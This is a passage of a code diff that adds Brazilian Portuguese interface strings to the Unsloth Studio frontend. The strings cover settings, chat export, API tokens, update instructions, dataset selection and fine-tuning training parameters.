+      displayName: "Nome de exibição",
+      nickname: "Como o Unsloth deve chamar você?",
+      nicknamePlaceholder: "Apelido",
+      nicknameSaved: "Nome preferido salvo",
+      avatarShape: "Formato da foto de perfil",
+      avatarShapeCircle: "Círculo",
+      avatarShapeRounded: "Arredondado",
+      chooseSloth: "Ou escolha uma preguiça",
+      nameSaved: "Nome de perfil salvo",
+      namePersistErrorTitle: "Não foi possível persistir o nome de perfil",
+      namePersistErrorDescription:
+        "Nome atualizado para esta sessão, mas pode não persistir após recarregar.",
+      photoUpdated: "Foto de perfil atualizada",
+      photoPersistErrorTitle: "Não foi possível persistir a foto de perfil",
+      photoPersistErrorDescription:
+        "Foto atualizada para esta sessão, mas pode não persistir após recarregar.",
+      photoUpdateErrorTitle: "Não foi possível atualizar a foto de perfil",
+      imageUseError: "Não foi possível usar esta imagem.",
+    },
+    appearance: {
+      title: "Aparência",
+      description: "Como o Unsloth Studio se parece neste dispositivo.",
+      theme: {
+        title: "Tema",
+        label: "Esquema de cores",
+        description: "Claro, escuro ou seguir o sistema.",
+        system: "Sistema",
+        light: "Claro",
+        dark: "Escuro",
+      },
+      language: {
+        title: "Idioma",
+        label: "Idioma de exibição",
+        description: "O idioma utilizado pelo Unsloth.",
+      },
+      layout: {
+        title: "Layout",
+        compactSidebar: "Fixar barra lateral por padrão",
+        compactSidebarDescription:
+          "Mantém a barra lateral expandida em vez de recolhê-la em ícones.",
+      },
+    },
+    resources: {
+      title: "Sistema",
+      description: "Monitore o hardware e o armazenamento deste servidor Studio.",
+      liveUpdates: "Atualizações ao vivo",
+      floatingWindow: "Janela flutuante",
+      disableOverlay: "Desativar sobreposição",
+      liveMonitor: {
+        title: "Monitor ao vivo",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disco",
+        vram: "VRAM",
+        cpuCores: "{logical} lógicos / {physical} físicos",
+        currentLoad: "Carga atual",
+        free: "{value} livres",
+        noGpu: "Nenhuma GPU visível",
+      },
+      gpu: {
+        title: "Dispositivos GPU",
+        noGpu: "Nenhuma GPU visível detectada. Os recursos somente CPU aparecem acima.",
+        unknownDevice: "GPU desconhecida",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} usados",
+        free: "{value} livres",
+        total: "{value} total",
+      },
+      storage: {
+        title: "Armazenamento",
+        systemDisk: "Disco do sistema",
+        diskUsage: "{used} usados / {total}",
+        diskFree: "{free} livres",
+        modelsFolder: "Pasta de modelos",
+        modelsFolderDescription: "Onde os modelos baixados são armazenados.",
+        openAction: "Abrir",
+        copyAction: "Copiar caminho",
+        copied: "Caminho copiado",
+        openError: "Não foi possível abrir a pasta",
+        copyError: "Não foi possível copiar o caminho",
+      },
+      environment: {
+        title: "Ambiente",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Tempo ativo",
+        processMemory: "Memória do processo",
+        notInstalled: "Não instalado",
+        unknown: "Desconhecido",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description: "Gerencie o histórico de chat armazenado neste dispositivo.",
+      modelDisclaimer: "Mostrar aviso do modelo",
+      modelDisclaimerDescription:
+        'Mostra "LLMs podem cometer erros" abaixo da caixa de chat.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Recolher blocos HTML",
+        collapseHtmlBlocksDescription:
+          "O modo Canvas recolhe o HTML completo automaticamente. Ative isso para também recolher documentos HTML delimitados quando o Canvas estiver desativado.",
+        allowNetworkAccess: "Permitir acesso à rede no canvas",
+        allowNetworkAccessDescription:
+          "Permite que as pré-visualizações do canvas carreguem scripts, estilos, fontes, mídia e recursos de rede de CDNs. Mantenha desativado para pré-visualizações totalmente offline.",
+      },
+      data: "Dados",
+      exportHistory: "Exportar histórico de chat",
+      exportHistoryDescription:
+        "Baixe todos os chats e mensagens em formato JSON.",
+      exportAction: "Exportar",
+      exportingAction: "Exportando...",
+      exportConversations: "Exportar Recentes e Projetos",
+      exportConversationsDescription:
+        "Baixe os Recentes ou Recentes mais chats de projetos como JSONL bruto, CSV ou ShareGPT JSONL, combinados ou por chat.",
+      exportConversationsAction: "Exportar",
+      exportScopeRecents: "Recentes",
+      exportScopeAll: "Recentes + Projetos",
+      exportCombinedSuffix: "(combinado)",
+      exportPerChatSuffix: "(por chat)",
+      importChats: "Importar chats",
+      importChatsDescription:
+        "Importe um arquivo exportado em JSONL, NDJSON ou CSV para os Recentes.",
+      importChatsAction: "Importar",
+      importNoConversations: "Nenhuma conversa encontrada no arquivo.",
+      importedOneChat: "Importada 1 conversa para os Recentes.",
+      importedChatCount: "Importadas {count} conversas para os Recentes.",
+      importFailed: "Falha na importação.",
+      clearHistory: "Limpar histórico de chat",
+      clearHistoryDescription: "Exclui o histórico de chat deste dispositivo.",
+      clearAction: "Limpar",
+      clearAllChats: "Limpar todos os chats",
+      clearAllChatsDescription: "Exclui permanentemente todos os chats deste dispositivo.",
+      noChatsToClear: "Nenhum chat para limpar.",
+      clearOneChatDescription:
+        "Exclui permanentemente o único chat deste dispositivo.",
+      clearChatCountDescription:
+        "Exclui permanentemente todos os {count} chats deste dispositivo.",
+      clearChatsAction: "Limpar chats",
+      clearOneChatTitle: "Limpar 1 chat?",
+      clearChatsTitle: "Limpar {count} chats?",
+      clearChatsConfirmDescription:
+        "Exclui permanentemente todos os chats deste dispositivo. Esta ação não pode ser desfeita.",
+      clearingAction: "Limpando...",
+      clearOneChatAction: "Limpar 1 chat",
+      clearChatCountAction: "Limpar {count} chats",
+      clearedAllChats: "Todos os chats foram limpos",
+      clearedOneChat: "1 chat foi limpo",
+      clearedChatCount: "{count} chats foram limpos",
+      someChatsCouldNotBeCleared: "Não foi possível limpar alguns chats",
+      chatsClearedRemainOne:
+        "{clearedCount} chats limpos; 1 chat restante. Por favor, tente novamente.",
+      chatsClearedRemain:
+        "{clearedCount} chats limpos; {remainingCount} chats restantes. Por favor, tente novamente.",
+      oneChatClearedRemain:
+        "1 chat limpo; {remainingCount} chats restantes. Por favor, tente novamente.",
+      oneChatClearedRemainOne: "1 chat limpo; 1 chat restante. Por favor, tente novamente.",
+      storageClearFailedOne:
+        "Falha ao limpar o armazenamento; 1 chat pode ter restado. Por favor, tente novamente.",
+      storageClearFailed:
+        "Falha ao limpar o armazenamento; {count} chats podem ter restado. Por favor, tente novamente.",
+      failedToClearChats: "Falha ao limpar os chats",
+    },
+    connections: {
+      title: "Conexões",
+      description: "Gerencie provedores e conexões externas.",
+    },
+    apiKeys: {
+      title: "API",
+      description:
+        "Acesse o Unsloth por meio da API compatível com OpenAI.",
+      readDocs: "Leia a documentação da API",
+      noAccess: "Nenhum acesso à API ainda.",
+      newBadge: "Novo",
+      accessTokens: "Tokens de acesso",
+      loadError: "Não foi possível carregar o acesso à API.",
+      createError: "Não foi possível criar o token de acesso.",
+      revokeError: "Não foi possível revogar o token de acesso.",
+      never: "Nunca",
+      tokenNamePlaceholder: "Nome do token (ex: producao)",
+      newAccessTokenName: "Nome do novo token de acesso",
+      createToken: "Criar token",
+      creating: "Criando...",
+      newTokenCreated: "Novo token de acesso criado",
+      accessTokenCopied: "Token de acesso copiado",
+      copyAccessToken: "Copiar token de acesso",
+      copyNow: "Copie agora - isto não será exibido novamente.",
+      usageExamples: "Exemplos de uso",
+      usageTools: "Ferramentas",
+      exampleCurlTools: "curl + ferramentas",
+      examplePythonTools: "Python + ferramentas",
+      exampleJavaScriptTools: "JavaScript + ferramentas",
+      exampleCurlAdvanced: "curl + avançado",
+      examplePythonAdvanced: "Python + avançado",
+      exampleJavaScriptAdvanced: "JavaScript + avançado",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS Seguro",
+      secureHttpsHint:
+        "A porta 0.0.0.0 ainda está acessível globalmente. Para segurança total, inicie o Unsloth Studio com --secure para expor apenas este link HTTPS.",
+      copyTunnelUrl: "Copiar URL do túnel",
+      copySnippet: "Copiar trecho de código",
+      copy: "Copiar",
+      copied: "Copiado",
+      setupDocs: "Docs de configuração:",
+      relativeNever: "nunca",
+      relativeJustNow: "agora mesmo",
+      relativeHoursAgo: "há {count}h",
+      relativeDaysAgo: "há {count}d",
+      relativeMonthsAgo: "há {count} meses",
+      relativeYearsAgo: "há {count} anos",
+      expired: "expirado",
+      today: "hoje",
+      inDays: "em {count}d",
+      created: "Criado {value}",
+      used: "Usado {value}",
+      expires: "Expira {value}",
+      actionsFor: "Ações para {name}",
+      copyPrefix: "Copiar prefixo",
+      revokeToken: "Revogar token",
+      revokeTitle: 'Revogar token de acesso "{name}"?',
+      revokeDescription:
+        "Aplicativos que usam este token perderão o acesso imediatamente. Esta ação não pode ser desfeita.",
+      revokeAction: 'Revogar "{name}"',
+      revoking: "Revogando...",
+    },
+    about: {
+      title: "Sobre",
+      description:
+        "Documentação, notas de lançamento, feedback e informações da build.",
+      studioVersion: "Versão do Unsloth",
+      packageVersion: "Versão do Pacote",
+      llamaCppVersion: "Versão do llama.cpp",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Atualização",
+      help: "Ajuda",
+      documentation: "Documentação",
+      releaseNotes: "Notas de lançamento",
+      whatsNew: "O que há de novo",
+      feedback: "Feedback",
+      reportIssue: "Reportar um problema",
+      license: {
+        sectionTitle: "Licença",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription:
+          "Código aberto sob a licença GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Licenciado sob Apache 2.0.",
+      },
+      dangerZone: "Zona de perigo",
+      shutDownStudio: "Desligar Unsloth Studio",
+      shutDownStudioDescription:
+        "Interrompe o servidor Unsloth e encerra sua sessão.",
+      shutDown: "Desligar",
+      update: {
+        title: "Atualizar Unsloth Studio",
+        commandText: "Texto de {label}",
+        copied: "Copiado",
+        copyCommand: "Copiar comando",
+        commandCopied: "{label} copiado",
+        copyNamedCommand: "Copiar {label}",
+        checkingInstall: "Verificando como o Unsloth foi instalado...",
+        installIntro: "Para instalar ou atualizar o Unsloth:",
+        localUpdateHeading: "Atualização local",
+        installCommandUnix: "Comando de instalação para macOS/Linux",
+        installCommandWindows: "Comando de instalação para Windows",
+        localInstallDetected:
+          "Instalação local detectada. Atualize a partir do seu repositório original para evitar substituí-lo pelo PyPI.",
+        pullThenUpdate: "Puxe as últimas alterações (git pull) e depois execute o instalador local:",
+        gitPullCommand: "comando git pull",
+        localInstallerCommand: "comando do instalador local",
+        sourceInstallDetected:
+          "Instalação do pacote por código-fonte ou VCS detectada. Reinstale a partir do caminho local original ou URL do Git.",
+        repoCheckoutFallback:
+          "Se você ainda tiver o repositório baixado, execute o instalador local a partir dele:",
+        restartAfterUpdate: "Reinicie o Unsloth após a atualização.",
+        desktopManaged:
+          "O aplicativo de desktop mantém seu backend integrado atualizado e avisará quando uma nova versão estiver disponível.",
+        unknownInstall:
+          "Não foi possível detectar como o Unsloth foi instalado. Para instalações via instalador ou PyPI, use os comandos acima.",
+        localCheckout:
+          "Para instalações de repositório local, execute o instalador local a partir desse diretório:",
+        docs: "Docs de instalação:",
+        docsInstall: "Instalação",
+        docsUpdating: "Atualização",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Treinar",
+    title: "Estúdio de Fine-tuning",
+    subtitles: {
+      configure: "Configure e inicie o treinamento",
+      trainingInProgress: "Treinamento em andamento",
+      viewPastRuns: "Visualizar execuções de treino anteriores",
+      viewingPastRun: "Visualizando execução anterior",
+    },
+    tabs: {
+      configure: "Configurar",
+      currentRun: "Execução Atual",
+      history: "Histórico",
+    },
+    loadingRuntime: "Carregando ambiente de execução de treino...",
+    backToHistory: "Voltar ao histórico",
+    sections: {
+      model: "Modelo",
+      dataset: "Dataset",
+      params: "Parâmetros",
+      training: "Treinamento",
+      charts: "Gráficos",
+      progress: "Progresso do Treinamento",
+    },
+    configure: {
+      title: "Configurar",
+      description: "Escolha um modelo, dataset e configurações de treinamento.",
+      startTraining: "Iniciar Treinamento",
+      starting: "Iniciando...",
+      loadingModel: "Carregando modelo...",
+      checkingDataset: "Verificando dataset...",
+      trainingConfig: "Configuração de Treino",
+    },
+    model: {
+      title: "Modelo",
+      description: "Selecione o modelo base e o método de treinamento",
+      fasterTrainingBadge: "Treinamento 2x Mais Rápido",
+      baseModel: "Modelo base",
+      localModel: "Modelo Local",
+      localModelTooltip:
+        "Caminho para um modelo baixado localmente ou um repositório HF customizado.",
+      scanningLocalAndCachedModels: "Escaneando modelos locais e em cache...",
+      scanning: "Escaneando...",
+      scanningLocalModels: "Escaneando modelos locais...",
+      noLocalModelsFound: "Nenhum modelo local encontrado",
+      noLocalModelsFoundManual: "Nenhum modelo local encontrado. Insira o caminho manualmente.",
+      failedToLoadLocalModels: "Falha ao carregar modelos locais",
+      hfCache: "Cache do HF",
+      customFolders: "Pastas Customizadas",
+      localDir: "Diretório local",
+      huggingFaceModel: "Modelo do Hugging Face",
+      huggingFaceModelTooltip:
+        "Busque modelos no Hugging Face ou escolha da nossa lista recomendada.",
+      searchModels: "Buscar modelos...",
+      searching: "Buscando...",
+      noModelsFound: "Nenhum modelo encontrado",
+      needsVram: "Precisa de ~{vram}GB de VRAM (GPU: {gpu}GB)",
+      tightVram: "~{vram}GB de VRAM (limite na {gpu}GB)",
+      vramEstimate: "~{vram}GB de VRAM",
+      method: "Método",
+      methodTooltip:
+        "O QLoRA usa quantização de 4 bits para menor uso de VRAM. O LoRA usa 16 bits. O Full atualiza todos os pesos. O CPT (Continued Pretraining) treina em texto bruto para adaptar o modelo a um novo domínio sem formatação de chat.",
+      readMore: "Leia mais",
+      fullFineTune: "Fine-tune Completo (Full)",
+      checkingToken: "Verificando token...",
+      getOrUpdateToken: "Obter ou atualizar token",
+      huggingFaceTokenOptional: "Token do Hugging Face (Opcional)",
+      continuedPretraining: "Pré-treinamento Contínuo (CPT)",
+      localModels: "Modelos locais",
+      localModelsFound: "{count} modelos locais/em cache encontrados",
+      loadingLocalModels: "Carregando modelos locais...",
+    },
+    dataset: {
+      title: "Dataset",
+      description: "Selecione ou envie os dados de treinamento",
+      source: "Origem do dataset",
+      chooseDataset: "Escolher dataset",
+      chooseDatasetTooltip:
+        "Use as abas do pop-up para alternar entre o Hugging Face e as saídas de receitas locais.",
+      localTab: "Local",
+      searchHuggingFaceDatasets: "Buscar datasets no Hugging Face...",
+      searchLocalDatasets: "Buscar datasets locais...",
+      searching: "Buscando...",
+      noDatasetsFound: "Nenhum dataset encontrado",
+      loadingLocalDatasets: "Carregando datasets locais...",
+      failedToLoadLocalDatasets: "Falha ao carregar datasets locais.",
+      noLocalDatasetsYet: "Nenhum dataset local ainda.",
+      noLocalDatasetsMatchSearch: "Nenhum dataset local corresponde à busca.",
+      openDataRecipes: "Abrir Receitas de Dados",
+      browsingSource: "Navegando em {browsing}. A seleção atual permanece {current}.",
+      localDatasets: "Datasets locais",
+      localDataset: "Dataset local",
+      localDatasetRows: " / {count} linhas",
+      huggingFaceDataset: "Dataset do Hugging Face",
+      localDatasetMetadata: "Metadados do dataset local",
+      dataRecipeOutput: "Saída da Receita de Dados.",
+      rows: "Linhas",
+      columns: "Colunas",
+      batches: "Lotes",
+      updated: "Atualizado",
+      evalDataset: "Dataset de validação (Eval)",
+      uploading: "Enviando...",
+      upload: "Upload",
+      uploadEvalFile: "Enviar arquivo de validação",
+      evalDatasetDescription:
+        "Opcional. Se não for fornecido, uma pequena parte será dividida a partir dos dados de treinamento.",
+      advanced: "Avançado",
+      targetFormat: "Formato de Destino",
+      targetFormatTooltip:
+        "Formato dos seus dados de treinamento. A detecção automática funciona para a maioria dos datasets.",
+      auto: "Auto",
+      rawText: "Texto Bruto",
+      trainSplitStart: "Início da Divisão de Treino",
+      trainSplitStartTooltip:
+        "Treine apenas em um subconjunto da sua divisão de treino especificando um índice de linha inicial (inclusivo, baseado em 0). Deixe em branco para começar da primeira linha.",
+      trainSplitEnd: "Fim da Divisão de Treino",
+      trainSplitEndTooltip:
+        "Último índice de linha a ser incluído da divisão de treino (inclusivo, baseado em 0). Por exemplo, defina o Início como 0 e o Fim como 99 para treinar nas primeiras 100 linhas. Deixe em branco para usar todas as linhas restantes.",
+      endPlaceholder: "Fim",
+      clear: "Limpar",
+      dropFileOrClick: "Solte 1 arquivo aqui ou clique para fazer upload",
+      viewDataset: "Visualizar dataset",
+      uploadFailed: "Falha no envio",
+      unknownError: "Erro desconhecido",
+      unsupportedFileType: "Tipo de arquivo não suportado",
+      uploadOneFileType: "Envie um arquivo do tipo {types}.",
+      datasetUploaded: "Dataset enviado",
+      evalDatasetUploaded: "Dataset de validação enviado",
+      uploadOneFileAtATime: "Envie um arquivo por vez",
+      uploadSingleFileDescription:
+        "O upload do dataset de treinamento aceita apenas um único arquivo.",
+      checkingToken: "Verificando token...",
+      getOrUpdateToken: "Obter ou atualizar token",
+      preview: "Pré-visualizar dataset",
+      split: "Divisão (Split)",
+      subset: "Subconjunto (Subset)",
+      s3: {
+        title: "Configuração do S3",
+        description: "Carregue datasets em .parquet, .json, .jsonl ou .csv do Amazon S3",
+        bucket: "Nome do Bucket",
+        bucketPlaceholder: "meu-bucket-de-dados-de-treino",
+        region: "Região da AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Prefixo do Caminho",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "Caminho opcional dentro do bucket para os arquivos do seu dataset",
+        accessKeyId: "ID da Chave de Acesso",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Chave de Acesso Secreta",
+        secretAccessKeyPlaceholder: "Sua chave de acesso secreta da AWS",
+        useIamRole: "Usar Função IAM",
+        useIamRoleTooltip: "Usa credenciais de função IAM em vez de chaves de acesso (recomendado para EC2/SageMaker)",
+        testConnection: "Testar Conexão",
+        connectionSuccess: "Conectado com sucesso ao bucket S3",
+        connectionFailed: "Falha ao conectar ao bucket S3",
+        comingSoon: "Integração com S3 em breve",
+        comingSoonDescription: "O carregamento de datasets do S3 requer o boto3. Este recurso está em desenvolvimento.",
+      },
+    },
+    params: {
+      title: "Parâmetros",
+      description: "Configure os hiperparâmetros de treinamento",
+      loraSettings: "Configurações do LoRA",
+      trainingHyperparameters: "Hiperparâmetros de Treinamento",
+      maxSteps: "Passos Máximos (Max Steps)",
+      epochs: "Épocas (Epochs)",
+      useMaxSteps: "Usar Passos Máximos",
+      useEpochs: "Usar Épocas",
+      maxStepsTooltip: "Sobrescreve o total de passos do otimizador.",
+      epochsTooltip: "Número de passagens completas pelo dataset.",
+      epochsDescription: "Cada época é uma passagem completa pelo seu dataset.",
+      maxStepsDescription:
+        "Limita o treinamento a um número fixo de passos do otimizador.",
+      contextLength: "Comprimento do Contexto",
+      contextLengthTooltip: "Número máximo de tokens por amostra de treinamento.",
+      customContextLength: "Insira um valor personalizado",
+      contextLengthDescription: "Comprimento máximo de sequência para amostras de treino",
+      learningRate: "Taxa de Aprendizado (Learning Rate)",
+      learningRateTooltip:
+        "Tamanho do passo para atualizações de peso. Valores menores treinam mais lentamente, mas com mais estabilidade.",
+      learningRateDescription:
+        "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo",
+      embeddingLearningRate: "Taxa de Aprendizado do Embedding",
+      embeddingLearningRateTooltip:
+        "Usado apenas quando o CPT está treinando embed_tokens. Os embeddings são mais fáceis de desestabilizar do que os pesos LoRA, por isso geralmente precisam de um LR menor. Deixe em branco para usar lr/10; a faixa típica de funcionamento é de 2x a 10x menor que o LR principal. Aumente apenas se a adaptação de vocabulário ou de tokens de domínio estiver muito lenta.",
+      embeddingLearningRateDescription:
+        "Deixe em branco para usar lr/10 (recomendado). A faixa típica é de 2x a 10x menor que a taxa de aprendizado principal.",
+      rank: "Rank",
+      rankTooltip:
+        "Dimensão das matrizes de baixo rank. Maior = mais capacidade.",
+      alpha: "Alpha",
+      alphaTooltip: "Fator de escala para atualizações LoRA. Geralmente o dobro do rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilidade de dropout para as camadas LoRA para reduzir o overfitting.",
+      visionLayers: "Camadas de visão",
+      languageLayers: "Camadas de linguagem",
+      attentionModules: "Módulos de atenção",
+      mlpModules: "Módulos MLP",
+      targetModules: "Módulos de Destino",
+      enableLora: "Ativar LoRA",
+      trainWithLora: "Treinar com LoRA",
+      stableRank: "Stable Rank",
+      memoryEfficient: "Eficiente em Memória",
+      optimization: "Otimização",
+      schedule: "Cronograma",
+      memory: "Memória",
+      optimizer: "Otimizador",
+      optimizerTooltip:
+        "Algoritmo de otimização. Variantes de 8 bits reduzem o uso de memória. Fused é recomendado para modelos de visão.",
+      lrScheduler: "Agendador de LR",
+      lrSchedulerTooltip:
+        "Como a taxa de aprendizado muda ao longo do treino. Linear decai de forma constante; cosine decai em curva.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Tamanho do Lote (Batch Size)",
+      batchSizeTooltip: "Amostras processadas por passo. Maior consome mais VRAM.",
+      gradAccum: "Acúmulo de Gradiente",
+      gradAccumTooltip: "Simula tamanhos de lote maiores sem gastar VRAM extra.",
+      weightDecay: "Decaimento de Peso",
+      weightDecayTooltip: "Regularização L2 para evitar overfitting.",
+      warmupSteps: "Passos de Aquecimento (Warmup)",
+      warmupStepsTooltip:
+        "Aumenta gradualmente a LR no início do treino para garantir estabilidade.",
+      scheduleEpochsTooltip:
+        "Número de passagens completas pelo dataset. Defina 0 para rodar por passos máximos.",
+      saveSteps: "Passos para Salvar",
+      saveStepsTooltip: "Salva um checkpoint a cada N passos. 0 para desativar.",
+      evalSteps: "Passos de Validação",
+      evalStepsTooltip:
+        "Fração dos passos totais de treino entre as validações (0-1). Defina como 0 para desativar. Ex: 0.01 = valida a cada 1% dos passos.",
+      seed: "Seed",
+      seedTooltip: "Semente aleatória para reprodutibilidade.",
+      gradCheckpoint: "Grad Checkpoint",
+      gradCheckpointTooltip:
+        "Troca processamento por memória recalculando as ativações.",
+      none: "Nenhum",
+      standard: "Padrão",
+      enablePacking: "Ativar empacotamento (packing)",
+      assistantCompletionsOnly: "Apenas respostas do assistente",
+      readMore: "Leia mais",
+    },
+    training: {
+      title: "Treinamento",
+      description: "Monitore e controle o treinamento",
+      chartNoDataTitle: "Nenhum dado de treinamento ainda",
+      chartNoDataDescription: "Inicie o treinamento para ver o progresso da loss",
+      startTraining: "Iniciar Treinamento",
+      starting: "Iniciando...",
+      loadingModel: "Carregando modelo...",
+      checkingDataset: "Verificando dataset...",
+      configLabel: "Configuração de Treino",
+      upload: "Upload",
+      uploadConfigTooltip: "Carregar uma configuração YAML salva",
+      save: "Salvar",
+      saveConfigTooltip: "Baixar configuração atual como YAML",
+      reset: "Redefinir",
+      resetConfigTooltip: "Redefinir para os padrões do modelo",
+      configLoaded: "Configuração carregada",
+      failedToLoadConfig: "Falha ao carregar a configuração",
+      invalidYamlFile: "Arquivo YAML inválido",
+      failedToReadFile: "Falha ao ler o arquivo",
+      parametersReset: "Parâmetros redefinidos para os padrões do modelo",
+      audioIncompatible:
+        "Este modelo não suporta áudio. Mude para um modelo compatível com áudio ou escolha um dataset sem áudio.",
+      visionIncompatible:
+        "O modelo de texto não é compatível com um dataset multimodal. Mude para um modelo de visão ou escolha um dataset apenas de texto.",
+      cancelTitle: "Cancelar Treinamento",
+      cancelDescription: "Deseja cancelar a execução de treinamento atual?",
+      continueAction: "Continuar Treinamento",
+      cancelAction: "Cancelar Treinamento",
+      stopTitle: "Interromper Treinamento",
+      stopDescription: "Escolha como você deseja interromper a execução de treinamento atual.",
+      stopAction: "Interromper",
+      stopping: "Interrompendo...",
+      stopAndSave: "Interromper e Salvar",
+      compareInChat: "Comparar no Chat",
+      exportModel: "Exportar Modelo",
+      milestone: "Marco",
+      halfwayDone: "Metade concluída. O treinamento passou de 50%.",
+      doneNextStep:
+        "Treinamento concluído. Próximo passo: comparar as saídas do modelo base vs fine-tuned.",
+    },
+    history: {
+      title: "Histórico",
+      emptyTitle: "Nenhuma execução de treino ainda",
+      emptyDescription:
+        "Nenhuma execução de treino ainda. Inicie sua primeira execução na aba Configurar.",
+      loadError: "Falha ao carregar as execuções de treino",
+      deleteError: "Falha ao excluir a execução de treino. Por favor, tente novamente.",
+      retry: "Tentar novamente",
+      loadMore: "Carregar mais",
+      loading: "Carregando...",
+      loadingRun: "Carregando execução de treino...",
+      runNotFound: "Execução não encontrada",
+      deleteTitle: "Excluir execução de treino?",
+      deleteDescription:
+        "Isso excluirá permanentemente esta execução de treino e todas as suas métricas. Esta ação não pode ser desfeita.",
+      runCount: "{count} execuções",
+      oneRun: "1 execução",
+      resume: "Retomar",
+      resumeTraining: "Retomar treinamento",
+      resuming: "Retomando...",
+      deleteRun: "Excluir execução",
+      loss: "Loss",
+      steps: "Passos",
+      lossTrendSparkline: "Minigráfico de tendência da loss",
+      relativeJustNow: "agora mesmo",
+      relativeMinutesAgo: "há {count}m",
+      relativeHoursAgo: "há {count}h",
+      relativeDaysAgo: "há {count}d",
+      status: {
+        completed: "Concluído",
+        stopped: "Interrompido",
+        error: "Erro",
+        running: "Em andamento",
+        continued: "Continuado",
+      },
+      message: {
+        completed: "Treinamento concluído",
+        stopped: "Treinamento interrompido",
+        running: "Treinamento em andamento",
+        errored: "Treinamento com erro",
+      },
+    },
+    charts: {
+      settings: "Configurações do Gráfico",
+      settingsDescription:
+        "Ajuste a apresentação do gráfico enquanto o treinamento continua rodando.",
+      openSettings: "Abrir configurações do gráfico",
+      viewWindow: "Janela de visualização",
+      viewWindowDescription: "Mostra apenas os passos mais recentes ou o histórico completo.",
+      window: "Janela",
+      all: "Tudo",
+      trainingLoss: "Loss de Treinamento",
+      trainingLossDescription: "Controle as sobreposições e a suavização EMA.",
+      smoothing: "Suavização",
+      smoothingDescription: "Mova para a direita para mais suavização. `0` = bruto.",
+      showRawLoss: "Mostrar loss bruta",
+      showSmoothedLoss: "Mostrar loss suavizada",
+      showAverageLine: "Mostrar linha média",
+      scaleAndCleanup: "Escala e limpeza",
+      linear: "Linear",
+      log: "Log",
+      noClip: "Sem corte",
+      clipP99: "Cortar p99",
+      clipP95: "Cortar p95",
+      lossAxis: "Eixo da loss",
+      gradientNormAxis: "Eixo da norma do gradiente",
+      learningRateAxis: "Eixo da taxa de aprendizado",
+      resetDefaults: "Redefinir padrões",
+      loss: "Loss",
+      smoothed: "Suavizado",
+      evalLoss: "Loss de Validação",
+      learningRate: "Taxa de Aprendizado",
+      lr: "LR",
+      gradNorm: "Norma do Grad.",
+      gradientNorm: "Norma do Gradiente",
+      step: "Passo {step}",
+      averageValue: "média {value}",
+      waitingForFirstEvaluationStep: "Aguardando o primeiro passo de validação...",
+      evaluationNotConfigured: "Validação não configurada",
+      evalChartWillAppear: "O gráfico aparecerá assim que o eval_steps for alcançado",
+      setEvalDatasetAndSteps:
+        "Defina o dataset de validação e eval_steps para acompanhar a loss de validação",
+    },
+    progress: {
+      title: "Progresso do Treinamento",
+      liveMetrics: "Métricas de treino em tempo real",
+      exportGguf: "Exportar para GGUF",
+      openConfig: "Abrir configuração de treino",
+      configLabel: "Configuração de Treino",
+      hyperparams: "Hiperparâmetros",
+      epochs: "Épocas",
+      batchSize: "Tamanho do lote",
+      learningRate: "Taxa de aprendizado",
+      optimizer: "Otimizador",
+      maxSteps: "Passos máximos",
+      contextLength: "Comprimento do contexto",
+      warmupSteps: "Passos de warmup",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Época {value}",
+      percentComplete: "{percent}% completo",
+      stepProgress: "Passo {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Norma do Grad.",
+      model: "Modelo",
+      method: "Método",
+      elapsed: "Decorrido: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} passos/s",
+      noStepsPerSecond: "-- passos/s",
+      tokens: "Tokens: {value}",
+      gpuMonitor: "Monitor da GPU",
+      live: "Ao vivo",
+      utilization: "Utilização",
+      temperature: "Temperatura",
+      vram: "VRAM",
+      power: "Energia",
+      phase: {
+        idle: "Ocioso",
+        downloadingModel: "Baixando modelo",
+        downloadingDataset: "Baixando dataset",
+        loadingModel: "Carregando modelo",
+        loadingDataset: "Carregando dataset",
+        configuring: "Configurando",
+        training: "Treinando",
+        completed: "Concluído",
+        error: "Erro",
+        stopped: "Interrompido",
+      },
+    },
+    trainingStart: {
+      ready: "Pronto",
+      downloading: "Baixando",
+      preparing: "Preparando",
+      left: "restam {eta}",
+      downloaded: "{size} baixados",
+      terminalStart: "> treinamento do unsloth iniciado...",
+      preparingResources: "> Preparando modelo e dataset...",
+      gettingReady: "> Estamos deixando tudo pronto para a sua execução...",
+      waitingForFirstStep: "> {message} | aguardando o primeiro passo... ({step})",
+      resumingTraining: "Retomando treinamento...",
+      startingTraining: "iniciando treinamento...",
+      dataset: "Dataset",
+      datasetStreaming: "Dataset: streaming (sem download completo)",
+      modelWeights: "Pesos do modelo",
+    },
+    tour: {
+      guidedTour: "Tour Guiado",
+    },
+  },
+} as const;
diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts
